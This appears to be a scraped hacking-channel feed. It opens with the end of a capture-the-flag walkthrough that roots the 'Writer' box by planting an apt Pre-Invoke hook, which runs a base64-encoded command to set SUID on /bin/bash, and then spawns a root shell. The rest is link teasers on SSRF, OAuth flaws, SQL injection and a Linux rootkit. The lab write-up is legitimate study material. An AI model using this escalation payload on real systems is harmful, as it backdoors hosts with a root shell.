2mbFQQ6Me79UJVYkt1oTxGarVEwiTfzys3FyszgvhYWGjKPdi3xM-2eC_KJNQY_kVM62LmCDwhRzB_fyq-fqjfo4ltbQPIi_FO3buOPHzNrtgpM4Anj8E_3RMl39r1SAL1oy6JLz8RoCUtBHitQ=s16000 Upon inspecting a bit more, we found that apt-get was running as a cron job. Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bashecho 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | bash"};' > /etc/apt/apt.conf.d/000-shellYou can see that bash has SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!/bin/bash -phttps://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000 Hence, this is how we rooted the box writer. Hope you enjoyed our approach. Thanks for reading!___________________________
@hacking_Attack
@Hacking_Video

Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports
https://corneacristian.medium.com/top-25-server-side-request-forgery-ssrf-bug-bounty-reports-136928356eca?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.Continue reading on Medium » (https://corneacristian.medium.com/top-25-server-side-request-forgery-ssrf-bug-bounty-reports-136928356eca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I messed up my own profile data
https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5

Just wanted to share one of my experience which I had while testing one of the web application. I will be brief so that I do not waste…Continue reading on Medium » (https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The OAuth Misconfiguration
https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/

submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://infosecwriteups.com/the-oauth-misconfiguration-15e66dd19a6e) [comments] (https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Pip-Audit - Audits Python Environments And Dependency Trees For Known Vulnerabilities

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is an SQL injection and how to save yourself from it?

Data is everywhere. The world is producing and storing more data than ever. SQL is a database and is a very common tool to store data…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SID Nedir?

https://cdn-images-1.medium.com/max/673/1*0ntRe6ziFu6491oqKzkMsg.jpeg
SID - Security Identifiers (Güvenlik Tanımlayıcıları)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
3 Times Bots Have Impacted Major World Events

https://cdn-images-1.medium.com/max/2000/0*SDlc2cvqKpYrwW1q.jpg
From stealing sneakers to pinching PlayStations, bots are increasingly earning a reputation for being nefarious and disruptive — none more…

Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports

https://cdn-images-1.medium.com/max/2600/1*YxBRUnHoGIwt6jAHc4-lqw.jpeg
In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WRITING A SIMPLE ROOTKIT FOR LINUX

https://cdn-images-1.medium.com/max/718/1*g7xT7u_a1Dx6M_P7YdTY9Q.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
You Need a Password Manager

Passwords are critical to keeping your accounts secure, but many people do not set up their passwords in the most secure way available. A…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video